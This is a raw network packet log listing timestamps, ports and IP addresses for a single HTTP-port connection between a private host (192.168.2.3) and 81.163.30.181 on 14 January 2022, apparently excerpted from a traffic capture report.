Jan 14, 2022 20:24:09.511060953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511101961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511118889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.511142015 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511157990 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.511183977 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511224031 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511262894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511279106 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.511305094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511313915 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.511346102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511384964 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511425972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511442900 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.511465073 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511471987 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.511506081 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511548042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511584997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511605024 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.511625051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511631966 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.511666059 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511704922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.511765003 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.568567038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.568635941 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.568696976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.568746090 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.568802118 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.568824053 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.568866968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.568908930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.568949938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.568969011 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.568989992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569025040 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569031000 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569071054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569087029 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569111109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569152117 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569170952 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569190025 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569231033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569271088 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569309950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569331884 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569351912 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569370985 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569394112 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569432020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569458008 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569472075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569495916 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569515944 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569555998 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569595098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569621086 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569633961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569652081 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569675922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569756031 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569799900 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569827080 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569840908 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569858074 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.569905043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569946051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.569983006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570009947 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.570023060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570041895 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.570063114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570101023 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570139885 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570157051 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.570179939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570205927 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.570220947 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570262909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570300102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570322990 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.570338964 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570379019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570379972 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.570416927 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570456982 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570478916 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.570496082 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.570524931 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.570537090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.572865009 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.627590895 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.627655029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.627718925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.627768993 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.627809048 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.627829075 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.627852917 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.627876043 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.627893925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.627935886 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.627954960 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.627974987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.627990961 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628015041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628056049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628093958 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628119946 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628149033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628150940 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628189087 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628227949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628268957 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628285885 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628307104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628324986 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628348112 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628386974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628424883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628452063 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628463984 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628484964 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628504992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628546000 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628586054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628602982 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628624916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628664970 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628669024 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628705025 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628722906 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628743887 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628782988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628823042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628856897 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628861904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628890991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628904104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628942013 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.628966093 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.628981113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629020929 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629057884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629082918 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.629096031 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629112005 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.629136086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629189014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629245996 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629247904 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.629286051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629303932 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.629326105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629365921 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629404068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629431009 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.629442930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.629457951 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.629484892 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.630575895 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.686621904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.686666965 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.686693907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.686719894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.686755896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.686800003 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.686827898 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.686836958 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.686865091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.686885118 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.686902046 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.686928988 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.686942101 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.686979055 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687015057 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687041044 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687042952 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687067986 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687069893 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687093019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687119007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687127113 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687153101 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687180996 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687186956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687213898 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687237024 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687261105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687263012 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687287092 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687289000 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687311888 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687342882 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687370062 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687378883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687396049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687398911 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687421083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687444925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687469959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687486887 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687498093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687517881 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687544107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687552929 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687563896 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687570095 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687594891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687602043 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687622070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687645912 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687654972 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687685013 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687710047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687720060 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687735081 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687762022 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687786102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687793016 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687812090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687819958 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687839985 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687864065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687875032 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.687891006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.687927008 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.689333916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.689362049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.689387083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.689441919 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.689482927 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.746042967 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746119022 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746181011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746239901 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746237040 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.746295929 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746326923 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.746359110 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746417999 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746464014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746493101 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.746501923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746520042 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.746543884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746584892 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746623039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746656895 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.746661901 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746701956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746706009 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.746740103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746779919 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746794939 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.746829987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746865988 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.746886015 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746942043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.746982098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747009039 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747024059 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747028112 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747066021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747103930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747143030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747173071 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747181892 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747184992 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747220993 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747277021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747334957 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747342110 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747378111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747409105 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747426033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747471094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747510910 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747529030 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747550964 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747591972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747654915 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747661114 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747685909 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747701883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747750044 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747759104 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747792006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747832060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747876883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747895956 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.747941017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.747984886 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.748023033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.748060942 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.748100042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.748097897 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.748141050 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.748181105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.748181105 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.748188972 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.748220921 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.748231888 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.748262882 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.748277903 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.805299997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.805377960 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.805439949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.805449963 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.805501938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.805560112 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.805608988 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.805620909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.805684090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.805711031 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.805730104 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.805741072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.805804968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.805921078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.805978060 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.806013107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806066990 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.806073904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806135893 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806197882 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806252956 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.806257963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806309938 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.806320906 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806382895 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806438923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806489944 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.806500912 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806548119 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.806560993 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806622982 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806685925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806735992 CET	49907	80	192.168.2.3	81.163.30.181
